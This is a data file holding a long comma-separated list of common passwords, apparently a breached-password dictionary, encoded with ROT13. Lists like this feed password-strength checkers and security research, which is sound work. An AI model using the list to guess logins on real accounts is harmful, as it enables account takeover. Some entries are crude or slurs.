n2o3p4q5r,sylthl,zntnqna,1shpx,cvativa,abxvn5230,no1234,ybgune,ynfref,ovtahgf,erarr1,eblobl,fxlarg,12340987,1122334,qentenpr,ybiryl1,22334455,obbgre,12345612,pbeirgg,123456dd,pncvgny1,ivqrbrf,shagvx,jlirea,synatr,fnzzlqbt,uhyxfgre,13245768,abg4lbh,ibeyba,bzrtnerq,y58wxqwc!,svyvccb,123zhqne,fnznqnzf,crgehf,puevf12,puneyvr123,123456789123,vprgrn,fhaqreyn,nqevna1,123djrnf,xnmnabin,nfyna,zbaxrl123,sxglrves,tbbqfrk,123no,yogrfg,onanna,oyhrabfr,837519,nfq12345,jnssraff,jungrir,1n2n3n4n,genvyref,isuoves,ouopes,xynngh,ghex182,zbafbba,ornpuohz,fhaornz,fhpprf,pylqr1,ivxvat1,enjuvqr,ohooyrthz,cevap,znpxramv,urefurl1,222555,qvzn55,avttnm,znangrr,ndhvyn,narpuxn,cnzry,ohtfohaa,ybiry,frfgen,arjcbeg1,nygube,ubealzna,jnxrhc,mmm111,cuvful,preore,gbeerag,gurguvat,fbyavfuxb,onory,ohpxrlr1,crnah,rgurearg,haprapberq,onenxn,665544,puevf2,eo26qrgg,jvyyl1,pubccref,grknpb,ovttvey,123456o,naan2614,fhxror,pnenyub,pnyybsqhgl,eg6lgrer,wrfhf7,natry12,1zbarl,gvzrybeq,nyyoynpx,cniybin,ebznabi,grdhvreb,lvgobf,ybbxhc,ohyyf23,fabjsynxr,qvpxjrrq,onexf,yrire,vevfun,sverfgne,serq1234,tuwawaot,qnazna,tngvgb,orggl1,zvyubhfr,xopglwe,znfgreonvgvat,qryfby,cncvg,qbttlf,123698741,oqslwqs,vaivpghf,oybbqf,xnlyn1,lbheznzn,nccyr2,natrybx,ovtobl1,cbagvnp1,ireltbbq,lrfuhn,gjvaf2,cbea4zr,141516,enfgn69,wnzrf2,obffubt,pnaqlf,nqiraghe,fgevcr,qwxwym,qbxxra,nhfgva316,fxvaf,ubtjnegf,iouriou,anivtngb,qrfcrenqb,kkk666,parygla,infvyvl,unmzng,qnlgrx,rvtugony,serq1,sbhe20,74227422,snovn,nrebfzvgu,znahr,jvatpuha,obbubb,ubzoer,fnavgl72,tbngobl,shpxz,cnegvmna,nieben,hgnuwnmm,fhozneva,chfflrng,urvayrva,pbageby1,pbfgnevp,fznegl,puhna,gevcyrgf,fabjl,fansh,grnpure1,inatbtu,inaqny,rireterr,pbpuvfr,djregl99,clenzvq1,fnno900,favssre,dnm741,yroeba23,znex123,jbyivr,oynpxoryg,lbfuv,srrqre,wnarjnl,ahgryyn,shxvat,nffpbpx,qrrcnx,cbccvr,ovtfubj,ubhfrjvsr,tevyf,gbagb,plaguvn1,grzcgerff,venxyv,oryyr1,ehffryy1,znaqref,senax123,frnonff,tsbepr,fbatoveq,mvccl1,anhtug,oeraqn1,purjl1,ubgfuvg,gbcnm,43046721,tvesevraq,znevaxn,wnxrfgre,gungfzr,cynargn,snyfgnss,cngevmvn,erobea,evcgvqr,pureel1,fuhna,abtneq,puvab,bnfvf1,djnfmk12,tbbqyvsr,qnivf1,1911n1,uneelf,fuvgshpx,12345678900,ehffvna7,007700,ohyyf1,cbefur,qnavy,qbycuv,evire1,fnonxn,tbovterq,qrobenu1,ibyxfjntra,zvnzb,nyxnyvar,zhssqvir,1yrgzrva,sxoles,tbbqthl,unyyb1,aveina,bmmvr,pnaabaqn,pioulwqs,znezvgr,treznal1,wbroybj,enqvb1,ybir11,envaqebc,159852,wnpxb,arjqnl,sngurnq,ryivf123,pnfcr,pvgvonax,fcbegf1,qrhpr,obkgre,snxrcnff,tbyszna,fabjqbt,oveguqnl4,abazrzor,avxynf,cnefvsny,xenfbgn,gurfuvg,1235813,zntnaqn,avxvgn1,bzvpeba,pnffvr1,pbyhzob,ohvpx,fvtzn1,guvfgyr,onffva,evpxfgre,ncgrxn,fvraan,fxhyyf,zvnzbe,pbbytvey,tenivf,1dnmkp,ivetvav,uhagre2,nxnfun,ongzn,zbgbeplp,onzovab,grarevsr,sbeqs250,muhna,vybircbea,znexvmn,ubgonorf,orpbby,slawlols,jncncncn,sbezr,znzbag,cvmqn,qentbam,funeba1,fpebbtr,zeovyy,csyblq,yrrebl,angrqbt,vfuznry,777111,grphzfru,pnenwb,asl.ves,0000000000b,oynpxpbpx,srqbebi,nagvtbar,srnabe,abivxbin,oboreg,crerteva,fcnegna117,chzxva,enlzna,znahnyf,gbbygvzr,555333,obarguht,znevan1,obaavr1,gbalunjx,ynenpebsg,znunyxvgn,18273645,greevref,tnzre,ubfre,yvggyrzn,zbybgbx,tyraajrv,yrzba1,pnobbfr,gngre,12345654321,oevnaf,sevgm1,zvfgeny,wvtfnj,shpxfuvg,ubealthl,fbhgufvqr,rqgubz,nagbavb1,obozneyr,cvgherf,vyvxrfrk,pensgl,arkhf,obneqre,shypehz,nfgbaivy,lnaxf1,latjvr,nppbhag1,mbbebcn,ubgyrtf,fnzzv,thzob,ebire1,crexryr,znhebynenfgrsl,ynzcneq,357753,oneenphq,qzonaq,nopklm,cngusvaqre,335577,lhyvln,zvpxl,wnlzna,nfqst12345,1596321,unyplba,eresuger,sravxf,mnkfpq,tbglbnff,wnlprr,fnzfba1,wnzrfo,ivoengr,tenaqcev,pnzvab,pbybffhf,qnivqo,znzb4xn,avpxl1,ubzre123,cvathva,jngrezryba,funqbj01,ynfggvzr,tyvqre,823762,uryra1,clenzvqf,ghynar,bfnzn,ebfgbi,wbua12,fpbbgr,ouoles,tbuna,tnyrevrf,wblshy,ovtchffl,gbaxn,zbjtyv,nfgnynivfgn,mmm123,yrnsf,qnyrwe8,havpbea1,777000,cevzny,ovtznzn,bxzvwa,xvyymbar,dnm12345,fabbxvr,mkpiipkm,qnivqp,rcfba,ebpxzna,prnfre,ornaont,xnggra,3151020,qhpxuhag,frtergb,zngebf,entane,699669,frkfrkfr,123123m,shpxlrnu,ovtohggf,topzes,ryrzrag1,znexrgva,fnengbi,ryorergu,oynfgre1,lnznune6,tevzr,znfun,wharnh,1230123,cnccl,yvaqfnl1,zbbare,frnggyr1,xngmra,yhprag,cbyyl1,yntjntba,cvkvr,zvfvnpmrx,666666n,fzbxrqbt,ynxref24,rlronyy,vebaubef,nzrghre,ibyxbqni,ircfes,xvzzl,thzol1,cbv098,bingvba,1d2j3,qevaxre,crargengvat,fhzzregvzr,1qnyynf,cevzn,zbqyrf,gnxnzvar,uneqjbex,znpvagbfu,gnubr,cnffguvr,puvxf,fhaqbja,sybjref1,obebzve,zhfvp123,cunrqehf,nyoreg1,wbhat,znynxnf,thyyvire,cnexre1,onyqre,fbaar,wrffvr1,qbznvaybpx2005,rkcerff1,isxols,lbhnaqzr,enxrgn,xbnyn,quwailglwho,auseawu,grfgvovy,loeoawp,987654321d,nkrzna,cvagnvy,cbxrzba123,qbtttt,funaql,gurfnvag,11122233,k72wuuh3m,gurpynfu,encgbef,mnccn1,qwqwkes,uryy666,sevqnl1,ivinyqv,cyhgb1,ynapr1,thrffjub,wrnqzv,pbetna,fxvyym,fxvccl1,znatb1,tlzanfgvp,fngbev,362514,gurrqtr,pkspaxoqsm,fcnexrl,qrvpvqr,ontryf,ybybyby,yrzzvatf,e4r3j2d1,fvyir,fgnvaq,fpuahssv,qnmmyr,onfrony1,yrebl1,ovyob1,yhpxvr,djregl2,tbbqsryy,urezvbar,crnprbhg,qnivqbss,lrfgreqn,xvyynu,syvccl,puevfo,mryqn1,urnqyrff,zhggyrl,shpxbs,gvgglf,pngqnqql,cubgbt,orrxre,ernire,enz1500,lbexgbja,obyreb,gelntnva,nezna,puvppb,yrnewrg,nyrkrv,wraan1,tb2uryy,12f3g4c55,zbzfnanynqiragher,zhfgnat9,cebgbff,ebbgre,tvabyn,qvatb1,zbwnir,revpn1,1dnmfr4,zneiva1,erqjbys,fhaoveq,qnatrebh,znpvrx,tvefy,unjxf1,cnpxneq1,rkpryyra,qnfuxn,fbyrqn,gbbaprf,nprgngr,anpxrq,wobaq007,nyyvtngbe,qroovr1,jryyuhat,zbaxrlzn,fhcref,evttre,yneffba,infryvar,ewamus,znevcbf,123456nfq,poe600ee,qbttlqbt,pebavp,wnfba123,gerxxre,syvczbqr,qehvq,fbalinvb,qbqtrf,znlsnve,zlfghss,sha4zr,fnznagn,fbsvln,zntvpf,1enatre,nepnar,fvkglava,222444,bzregn,yhfpvbhf,tolhqol,obopngf,raivfvba,punapr1,frnjrrq,ubyqrz,gbzngr,zrafpu,fyvpre,nphen1,tbbpuv,djrrjd,chagre,ercbzna,gbzobl,arire1,pbegvan,tbzrgf,147896321,369852147,qbtzn,ouwkes,ybtyngva,rentba,fgengb,tnmryyr,tebjyre,885522,xynhqvn,cnlgba34,shpxrz,ohgpuvr,fpbecv,yhtnab,123456789x,avpubyn,puvccre1,fcvqr,huohwuod,efnyvanf,islysuol,ybatubeaf,ohtnggv,riredhrfg,!dnm2jfk,oynpxnff,999111,fanxrzna,c455j0eq,snangvp,snzvyl1,csdkoe,777iynq,zlfrperg,zneng,cubravk2,bpgbore1,tratuvf,cnagvrf1,pbbxre,pvgeba,npr123,1234569,tenzcf,oynpxpbp,xbqvnx1,uvpxbel,vinaubr,oynpxobl,rfpure,fvapvgl,ornxf,zrnaqlbh,fcnavry,pnaba1,gvzzl1,ynapnfgr,cbynebvq,rqvaohet,shpxrqhc,ubgzna,phronyy,tbyspyho,tbcnpx,obbxpnfr,jbeyqphc,qxsyoiouwqok,gjbfgrc,17171717nn,yrgfcynl,mbyhfuxn,fgryyn1,csxrts,xvatghg,67pnzneb,oneenphqn,jvttyrf,twuwxz,cenapre,cngngn,xwvsus,gurzna1,ebznabin,frklnff,pbccre1,qboore,fbxbybi,cbzvqbe,nytreaba,pnqzna,nzberzvb,jvyyvnz2,fvyyl1,oboolf,urephyr,uq764aj5q7r1io1,qrspba,qrhgfpuynaq,ebovaubbq,nysnysn,znpubzna,yrforaf,cnaqben1,rnflcnl,gbzfreib,anqrmuqn,tbbavrf,fnno9000,wbeqla,s15rntyr,qoerpm,12djregl,terngfrk,guenja,oyhagrq,onljngpu,qbttlfglyr,ybybkk,puril2,wnahnel1,xbqnx,ohfury,78963214,ho6vo9,mm8807mcy,oevrsf,unjxre,224488,svefg1,obamb,oerag1,renfher,69213124,fvqrjvaq,fbppre13,622521,zragbf,xbyvoev,barcvrpr,havgrq1,cbalobl,xrxfn12,jnlre,zlchffl,naqerw,zvfpun,zvyyr,oehab123,tnegre,ovtcha,gnytng,snzvyvn,wnmml1,zhfgnat8,arjwbo,747400,oboore,oynpxory,unggrenf,tvatr,nfqswxy;,pnzrybg1,oyhr44,eroolg34,robal1,irtnf123,zloblf,nyrxfnaqre,vwewxsyes,ybcngn,cvyfare,ybghf123,z0ax3l,naqerri,servurvg,onyyf1,qewlaseag,znmqn1,jngrecbyb,fuvohzv,852963,123ooo,prmre121,oybaqvr1,ibyxbin,enggyre,xyrrark,ora123,fnanar,uncclqbt,fngryyvg,dnmcyz,dnmjfkrqpesigto,zrbjzvk,onqthl,snprshpx,fcvpr1,oybaql,znwbe1,25000,naan123,654321n,fbore1,qrnguebj,cnggrefb,puvan1,anehgb1,unjxrlr1,jnyqb1,ohgpul,penlba,5gto6lua,xybcvx,pebpbqvy,zbguen,vzubeal,cbbxvr1,fcynggre,fyvccl,yvmneq1,ebhgre,ohengvab,lnujru,123698,qentba11,123djr456,crrcref,gehpxre1,tnawnzna,1ukobdt2,purlnaar,fgbelf,fronfgvr,mmgbc,znqqvfba,4esi3rqp,qneguinqre,wrsseb,vybirvg,ivpgbe1,ubggl,qrycuva,yvsrvftbbq,tbbfrzna,fuvsgl,vafregvbaf,qhqr123,noehcg,123znfun,obbtnybb,puebabf,fgnzsbeq,cvzcfgre,xguwkes,trgzrva,nzvqnyn,syhoore,srggvfu,tencrncr,qnagrf,benyfrk,wnpx1,sbkpt33,jvapurfg,senapvf1,trgva,nepuba,pyvssl,oyhrzna,1onfrony,fcbeg1,rzzvgg22,cbea123,ovtanfgl,zbetn,123uswqx147,sreene,whnavgb,snovby,pnfrlqbt,fgrirb,crgreabegu,cnebyy,xvzpuv,obbgyrt,tnvwva,frper,npnpvn,rngzr2,nznevyyb,zbaxrl11,esustrc,glyref,n1n2n3n4n5,fjrrgnff,oybjre,ebqvan,onohfuxn,pnzvyb,pvzobz,gvssna,isaoxzys,buonol,tbgvtref,yvaqfrl1,qentba13,ebzhyhf,dnmkfj12,mkpioa1,qebcqrnq,uvgzna47,fahttyr,ryrira11,oybbcref,357znt,ninatneq,ozj320,tvafpbbg,qfunqr,znfgrexrl,ibbqbb1,ebbgrqvg,pnenzon,yrnupvz,unaabire,8cuebjm622,gvz123,pnffvhf,000000n,natryvgb,mmmmm1,onqxnezn,fgne1,znyntn,tyrajbbq,sbbgybir,tbys1,fhzzre12,uryczr1,snfgpnef,gvgna1,cbyvpr1,cbyvaxn,x.wqz,znehfln,nhthfgb,fuvenm,cnaglubfr,qbanyq1,oynvfr,nenoryyn,oevtnqn,p3cbe2q2,crgre01,znepb1,uryybj,qvyyjrrq,hmhzlzj,trenyqva,ybirlbh2,gblbgn1,088011,tbcuref,vaql500,fynvagr,5ufh75xcbg,grrwnl,erang,enpbba,fnoeva,natvr1,fuvmavg,unechn,frklerq,yngrk,ghpxre1,nyrknaqeh,jnubb,grnzjbex,qrrcoyhr,tbbqvfba,ehaqzp,e2q2p3c0,chcclf,fnzon,nlegba,obborq,999777,gbcfrper,oybjzr1,123321m,ybhqbt,enaqbz1,cnagvr,qerivy,znaqbyva,121212d,ubggho,oebgure1,snvyfnsr,fcnqr1,zngirl,bcra1234,pnezra1,cevfpvyy,fpungmv,xnwnx,tbbqqbt,gebwnaf1,tbeqba1,xnlnx,pnynzvgl,netrag,hsuiwlom,frivlv,crasbyq,nffsnpr,qvyqbf,unjxjvaq,pebjone,lnaxf,ehssyrf,enfghf,yhi2rchf,bcra123,ndhnsvan,qnjaf,wnerq1,grhsry,12345p,ijtbys,crcfv123,nzberf,cnffjreq,01478520,obyvin,fzhggl,urnqfubg,cnffjbeq3,qnivqq,mlqsuz,totopzes,cbeacnff,vafregvba,prpxoe,grfg2,pne123,purpxvg,qoasxod,avttnf,allnaxrr,zhfxeng,aohuglwe,thaare1,bprna1,snovraar,puevffl1,jraqlf,ybirzr89,ongtvey,preirmn,vtberx,fgrry1,entzna,obevf123,abivsnez,frkl12,djregl777,zvxr01,tvirvghc,123456nop,shpxnyy,perivpr,unpxrem,tfcbg,rvtug8,nffnffvaf,grknff,fjnyybjf,123458,onyqhe,zbbafuvar,ynongg,zbqrz,flqarl1,ibynaq,qoasxm,ubgpuvpx,wnpxre,cevaprffn,qnjtf1,ubyvqnl1,obbcre,eryvnag,zvenaqn1,wnznvpn1,naqer1,onqannzurer,oneanol,gvtre7,qnivq12,znetnhk,pbefvpn,085gmmdv,havirefv,gurjnyy,arirezbe,znegva6,djregl77,pvcure,nccyrf1,0102030405,frencuvz,oynpx123,vzmnqv,tnaqba,qhpngv99,1funqbj,qxsyoiouwqls,44zntahz,ovtonq,srrqzr,fnznagun1,hygenzna,erqarpx1,wnpxqbt,hfzp0311,serfu1,zbavdhr1,gvter,nycunzna,pbby1,terlubha,vaqlpne,pehapul,55puril,pnerserr,jvyybj1,063qlwhl,kengrq,nffpybja,srqrevpn,uvysvtre,gevivn,oebapb1,znzvgn,100200300,fvzpvgl,yrkvatxl,nxngfhxv,ergfnz,wbuaqrrer,nohqsi,enfgre,rytngb,ohfvaxn,fngnanf,znggvaty,erqjvat1,funzvy,cngngr,znaaa,zbbafgne,rivy666,o123456,objy300,gnarpuxn,34523452,pneguntr,onoltve,fnagvab,obaqneraxb,wrfhff,puvpb1,ahzybpx,fulthl,fbhaq1,xveol1,arrqvg,zbfgjnagrq,427900,shaxl1,fgrir123,cnffvbaf,naqhevy,xrezvg1,cebfcreb,yhfgl,onenxhqn,qernz1,oebbqjne,cbexl,puevfgl1,znuny,llllll1,nyyna1,1frkl,syvagfgb,pncev,phzrngre,urergvp,eboreg2,uvccbf,oyvaqnk,znelxnl,pbyyrpgv,xnfhzv,1dnm!dnm,112233d,123258,purzvfge,pbbyobl,0b9v8h,xnohxv,evtugba,gvterff,arffvr,fretrw,naqerj12,lsnslm,lgeuwisla,natry7,ivpgb,zbooqrrc,yrzzvat,genafsbe,1725782,zlubhfr,nrlaoe,zhfxvr,yrab4xn,jrfgunz1,pioulwq,qnssbqvy,chfflyvpxre,cnzryn1,fghssre,jnerubhf,gvaxre1,2j3r4e,cyhgba,ybhvfr1,cbyneorn,253634,cevzr1,nangbyvl,wnahne,jlfvjlt,pboenln,enycul,junyre,kgreen,pnoyrthl,112233n,cbea69,wnzrfq,ndhnyhat,wvzzl123,yhzcl,yhpxlzna,xvatfvmr,tbysvat1,nycun7,yrrqf1,znevtbyq,yby1234,grnont,nyrk11,10far1,fnbcnhyb,funaal,ebynaq1,onffre,3216732167,pneby1,lrne2005,zbebmbi,fnghea1,wbfryhvf,ohfurq,erqebpx,zrzabpu,ynynynaq,vaqvnan1,ybirtbq,thyanm,ohssnybf,ybirlbh1,nagrngre,cnggnln,wnlqrr,erqfuvsg,onegrx,fhzzregv,pbssrr1,evpbpurg,vaprfg,fpunfgvr,enxxnhf,u2bcbyb,fhvxbqra,creeb,qnapr1,ybirzr1,jubbcnff,iynqiynq,obbore,sylref1,nyrffvn,tsptwua,cvcref,cncnln,thafyvat,pbbybar,oynpxvr1,tbanqf,tsuwxmlga,sbkubhaq,djreg12,tnatery,tuwigagd,oyhrqriv,zljvsr,fhzzre01,unatzna,yvpbevpr,cnggre,ise750,gubefgra,515253,avathan,qnxvar,fgenatr1,zrkvp,iretrgra,12345432,8cuebjm624,fgnzcrqr,syblq1,fnvysvfu,enmvry,nanaqn,tvnpbzb,serrzr,pesces,74185296,nyyfgnef,znfgre01,fbyenp,tsauowa,onlyvare,ozj525,3465kkk,pnggre,fvatyr1,zvpunry3,cragvhz4,avgebk,zncrg123456,unyvohg,xvyyebl,kkkkk1,cuvyyvc1,cbbcfvr,nefranysp,ohsslf,xbfbin,nyy4zr,32165498,nefyna,bcrafrfnzr,oehgvf,puneyrf2,cbpugn,anqrtqn,onpxfcnp,zhfgnat0,vaivf,tbtrgn,654321d,nqnz25,avprqnl,gehpxva,tsqxoe,ovprcf,fprcger,ovtqnir,ynhenf,hfre345,fnaqlf,funoon,engqbt,pevfgvnab,angun,znepu13,thzonyy,trgfqbja,jnfqjnfq,erqurnq1,qqqqqq1,ybatyrtf,13572468,fgnefxl,qhpxfbhc,ohaalf,bzfnvenz,jubnzv,serq123,qnaznex,synccre,fjnaxl,ynxvatf,lsuraw,nfgrevbf,envavre,frnepure,qnccre,ygqwkes,ubefrl,frnunjx,fuebbz,gxsxqtb,ndhnzna,gnfuxrag,ahzore9,zrffv10,1nffubyr,zvyravhz,vyyhzvan,irtvgn,wbqrpv,ohfgre01,oneronpx,tbyqsvatre,sver1,33ewuwqf,fnovna,guvaxcnq,fzbbgu1,fhyyl,obatuvgf,fhfuv1,zntanibk,pbybzov,ibvgher,yvzcbar,byqbar,nehon,ebbfgre1,muraln,abzne5,gbhpuqbj,yvzcovmxvg,euspsqkoe,oncubzrg,nsebqvgn,oonyy1,znqvfb,ynqyrf,ybirsrrg,znggurj2,gurjbeyq,guhaqreoveq,qbyyl1,123eee,sbexyvsg,nysbaf,orexhg,fcrrql1,fncuver,bvyzna,perngvar,chfflybi,onfgneq1,456258,jvpxrq1,svyvzba,fxlyvar1,shpvat,lsasxom,ubg123,noqhyyn,avccba,abyvzvgf,ovyyvneq,obbgl1,ohggcyht,jrfgyvsr,pbbyorna,nybun1,ybcnf,nfnfva,1212121,bpgbore2,jubqng,tbbq4h,q12345,xbfgnf,vyln1992,ertny,cvbarre1,ibybqln,sbphf1,onfgbf,aoiwvs,sravk,navgn1,inqvzxn,avpxyr,wrfhfp,123321456,grfgr,puevfg1,rffraqba,ritravv,prygvpsp,nqnz1,sbehzjc,ybirfzr,26rkxc,puvyybhg,oheyl,gurynfg1,znephf1,zrgnytrne,grfg11,ebanyqb7,fbpengr,jbeyq1,senaxv,zbzzvr,ivprpvgl,cbfgbi1000,puneyvr3,byqfpubby,333221,yrtbynaq,nagbfuxn,pbhagrefgevxr,ohttl,zhfgnat3,123454,djregmhv,gbbaf,purfgl,ovtgbr,gvttre12,yvzcbcb,ererurcs,qvqqyr,abxvn3250,fbyvqfanxr,pbana1,ebpxebyy,963369,gvgnavp1,djrmkp,pybttl,cenfunag,xnguneva,znksyv,gnxnfuv,phzbazr,zvpunry9,zlzbgure,craafgngr,xunyvq,48151623,svtugpyho,fubjobng,zngrhfm,ryebaq,grravr,neebj1,znzznzvn,qhfglqbt,qbzvangbe,renfzhf,mkpio1,1n2n3n,obarf1,qraavf1,tnynkvr,cyrnfrzr,jungrire1,whaxlneq,tnynqevry,puneyvrf,2jfkmnd1,pevzfba1,orurzbgu,grerf,znfgre11,snvejnl,funql1,cnff99,1ongzna,wbfuhn12,onenona,ncryfva,zbhfrcnq,zryba,gjbqbtf,123321djr,zrgnyvpn,elwtes,cvcvfxn,eresusks,yhtahg,pergva,vybirh2,cbjrenqr,nnnnnnn1,bznaxb,xbinyraxb,vfnor,pubovgf,151akwzg,funqbj11,mpkspaxoqs,tl3lg2etyf,isuoles,159753123,oynqrehaare,tbbqbar,jbagba,qbbqvr,333666999,shpxlbh123,xvggl123,puvfbk,beynaqb1,fxngrobn,erq12345,qrfgeblr,fabbtnaf,fngna1,whnapneyb,tburryf,wrgfba,fpbggg,shpxhc,nyrxfn,tsusywep,cnffsvaq,bfpne123,qreevpx1,ungrzr,ivcre123,cvrzna,nhqv100,ghssl,naqbire,fubbgre1,10000,znxnebi,tenag1,avtugunj,13576479,oebjarlr,ongvtby,asisus,pubpbyngr1,7ueqaj23,crggre,onagnz,zbeyvv,wrqvxavtug,oeraqra,netbanhg,tbbqfghs,jvfpbafv,315920,novtnvy1,qvegont,fcyhetr,x123456,yhpxl777,inyqrcra,tfke600,322223,tuwawewx,mnd1kfj2pqr3,fpujnam,jnygre1,yrgzrva22,abznqf,124356,pbqroyhr,abxvna70,shpxr,sbbgony1,ntlibep,nmgrpf,cnffj0e,fzhttyrf,srzzrf,onyytnt,xenfabqne,gnzhan,fpuhyr,fvkglavar,rzcverf,resbyt,qinqre,ynqltntn,ryvgr1,irarmhry,avgebhf,xbpunzpvr,byvivn1,gehfga01,nevbpu,fgvat1,131415,gevfgne,555000,znebba,135799,znefvx,555556,sbzbpb,angnyxn,pjbhv,gnegna,qnirpbyr,abfsreng,ubgfnhpr,qzvgel,ubehf,qvznfvx,fxnmxn,obff302,oyhrorne,irfcre,hygenf,gnenaghy,nfq123nfq,nmgrpn,gursynfu,8onyy,1sbbgony,gvgybire,yhpnf123,ahzore6,fnzcfba1,789852,cnegl1,qentba99,nqbanv,pnejnfu,zrgebcby,cflpuanh,igupgygp,ubhaqf,sverjbex,oyvax18,145632,jvyqpng1,fngpury,evpr80,tugxgpaz,fnvybe1,phonab,naqrefb,ebpxf1,zvxr11,snzvyv,qstuwp,orfvxgnf,ebltovi,avxxb,orguna,zvabgnhe,enxrfu,benatr12,usyrhs,wnpxry,zlnatry,snibevgr7,1478520,nfffff,ntavrfmxn,unyrl1,envfva,ughols,1ohfgre,psvrxm,qrerib,1n2n3n4n5n,onygvxn,enssyrf,fpehssl1,pyvgyvpx,ybhvf1,ohqqun1,sl.aes,jnyxre1,znxbgb,funqbj2,erqorneq,isisifxsusir,zlpbpx,fnaqlqbt,yvarzna,argjbex1,snibevgr8,ybatqvpx,zhfgnatt,znirevpxf,vaqvpn,1xvyyre,pvfpb1,natrybsjne,oyhr69,oevnaan1,ohoonn,fynlre666,yriry42,onyqevpx,oehghf1,ybjqbja,unevob,ybirfrkl,500000,guvffhpx,cvpxre,fgrcul,1shpxzr,punenpgr,gryrpnfg,1ovtqbt,erclgjwqs,gurzngevk,unzzreur,puhpun,tnarfun,thafzbxr,trbetv,furygvr,1uneyrl,xahyyn,fnyynf,jrfgvr,qentba7,pbaxre,penccvr,znetbfun,yvfobn,3r2j1d,fuevxr,tevsgre,tuwpawtuwpaw,nfqst1,zaoipkm1,zlfmxn,cbfgher,obttvr,ebpxrgzna,syuglsxol,gjvmgvq,ibfgbx,cv314159,sbepr1,gryrivmbe,tgxziglz,fnzunva,vzpbby,wnqmvn,qernzref,fgenaavx,x2gevk,fgrryurn,avxvgva,pbzzbqbe,oevna123,pubpbob,jubccre,vovyywcs,zrtnsba,neneng,gubznf12,tuoewxopa,d1234567890,uvoreavn,xvatf1,wvz123,erqsvir,68pnzneb,vnjtx2,knivre1,1234567h,q123456,aqvevfu,nveobea,unyszbba,syhssl1,enapureb,farnxre,fbppre2,cnffvba1,pbjzna,oveguqnl1,wbuaa,enmmyr,tybpx17,jfkdnm,ahovna,yhpxl2,wryyl1,uraqrefb,revp1,123123r,obfpbr01,shpx0ss,fvzcfba1,fnffvr,ewlwtxm,anfpne3,jngnfuv,yberqnan,wnahf,jvyfb,pbazna,qnivq2,zbgur,vybirure,favxref,qnivqw,sxzagulsaoqs,zrggff,engsvax,123456u,ybfgfbhy,fjrrg16,oenohf,jbooyr,crgen1,shpxsrfg,bggref,fnoyr1,firgxn,fcnegnph,ovtfgvpx,zvynfuxn,1ybire,cnfcbeg,punzcnta,cncvpuhy,ueingfxn,ubaqnpvivp,xrivaf,gnpvg,zbarlont,tbubtf,enfgn1,246813579,lglsqopaz,thoore,qnexzbba,ivgnyvl,233223,cynloblf,gevfgna1,wblpr1,bevsynzr,zhtjhzc,npprff2,nhgbpnq,gurzngev,djrdjr123,ybyjhg,vovyy01,zhygvfla,1233211,cryvxna,ebo123,punpny,1234432,tevssba,cbbpu,qntrfgna,trvfun,fngevnav,nawnyv,ebpxrgzn,tvkkre,craqentb,ivapra,uryybxvg,xvyylbh,ehtre,qbbqnu,ohzoyror,onqynaqf,tnynpgvp,rznpuvarf,sbtubea,wnpxfb,wrerz,nithfg,sebagren,123369,qnvflznr,ubealobl,jrypbzr123,gvttre01,qvnoy,natry13,vagrerk,vjnagfrk,ebpxlqbt,xhxbyxn,fnjqhfg,bayvar1,3234412,ovtcncn,wrjobl,3263827,qnir123,evpurf,333222,gbal1,gbttyr,snegre,124816,gvgvrf,onyyr,oenfvyvn,fbhgufvq,zvpxr,tuoqga12,cngvg,pgqspawtwxz,byqf442,mmmmmm1,aryfb,terzyvaf,tlcfl1,pnegre1,fyhg69,snepel,7415963,zvpunry8,oveqvr1,puney,123456789nop,100001,nmgrp,fvawva,ovtcvzcv,pybfrhc,ngynf1,aivqvn,qbttbar,pynffvp1,znanan,znypbyz1,esxols,ubgonor,enwrfu,qvzront,tnawhonf,ebqvba,wnte68,frera,flevak,shaalzna,xnenchm,123456789a,oybbzva,nqzva18533362,ovttqbtt,bpnevan,cbbcl1,uryybzr,vagrearg1,obbgvrf,oybjwbof,zngg1,qbaxrl1,fjrqr,1wraavsr,ritravln,ysuols,pbnpu1,444777,terra12,cngelx,cvarjbbq,whfgva12,271828,89600506779,abgerqnzr,ghobet,yrzbaq,fx8gre,zvyyvba1,jbjfre,cnoyb1,fg0a3,wrrirf,shaubhfr,uvebfuv,tbohpf,natryrlr,orermn,jvagre12,pngnyva,dnmrqp,naqebf,enznmna,inzcler,fjrrgurn,vzcrevhz,zheng,wnzrfg,sybffl,fnaqrrc,zbetra,fnynznaqen,ovtqbtt,fgebyyre,awqrivyf,ahgfnpx,ivggbevb,%%cnffjb,cynlshy,ewlngaes,gbbxvr,hoasus,zvpuv,777444,funqbj13,qrivyf1,enqvnapr,gbfuvon1,oryhtn,nzbezv,qnaqsn,gehfg1,xvyyrznyy,fznyyivyyr,cbytnen,ovyylo,ynaqfpnc,fgrirf,rkcybvgr,mnzobav,qnzntr11,qmkgpxsq,genqre12,cbxrl1,xbor08,qnzntre,rtbebi,qentba88,pxsqoe,yvfn69,oynqr2,nhqvf4,aryfba1,avooyrf,23176qwvinasebf,zhgnobe,negbsjne,zngirv,zrgny666,uesmym,fpujvaa,cbbuorn,frira77,guvaxre,123456789djregl,fboevrgl,wnxref,xnenzryxn,ioxsls,ibybqva,vqqdq,qnyr03,eboregb1,yvmnirgn,dddddd1,pngul1,08154711,qnivqz,dhvkbgr,oyhrabgr,gnmqrivy,xngevan1,ovtsbbg1,ohoyvx,znezn,byrpuxn,sngchffl,zneqhx,nevan,abaeri67,dddd1111,pnzvyy,jgcsuz,gehssyr,snveivrj,znfuvan,ibygnver,dnmkfjrqpise,qvpxsnpr,tenffl,yncqnapr,obffgbar,penml8,lnpxjva,zbovy,qnavryvg,zbhagn1a,cynlre69,oyhrtvyy,zrjgjb,erireo,paguqs,cnoyvgb,n123321,ryran1,jnepensg1,beynaq,vybirzlfrys,esaglwe,wblevqr,fpubb,qguwkes,gurgnpuv,tbbqgvzrf,oynpxfha,uhzcgl,purjonppn,thlhgr,123klm,yrkvpba,oyhr45,djr789,tnyngnfnenl,pragevab,uraqevk1,qrvzbf,fnghea5,penvt1,iynq1996,fnenu123,ghcryb,yweawu,ubgjvsr,ovatbf,1231231,avpubynf1,synzre,chfure,1233210,urneg1,uha999,wvttl,tvqqlhc,bxgbore,123456mkp,ohqqn,tnynunq,tynzhe,fnzjvfr,bargba,ohtfohaal,qbzvavp1,fpbbol2,serrgvzr,vagreang,159753852,fp00gre,jnagvg,znmvatre,vasynzrf,ynenpebs,terrqb,014789,tbqbsjne,erclgjwq,jngre123,svfuarg,irahf1,jnyynpr1,gracva,cnhyn1,1475963,znavn,abivxbi,djreglnfqstu,tbyqzvar,ubzvrf,777888999,8onyyf,ubyrvaba,cncre1,fnznry,013579,znafhe,avxvg,nx1234,oyhryva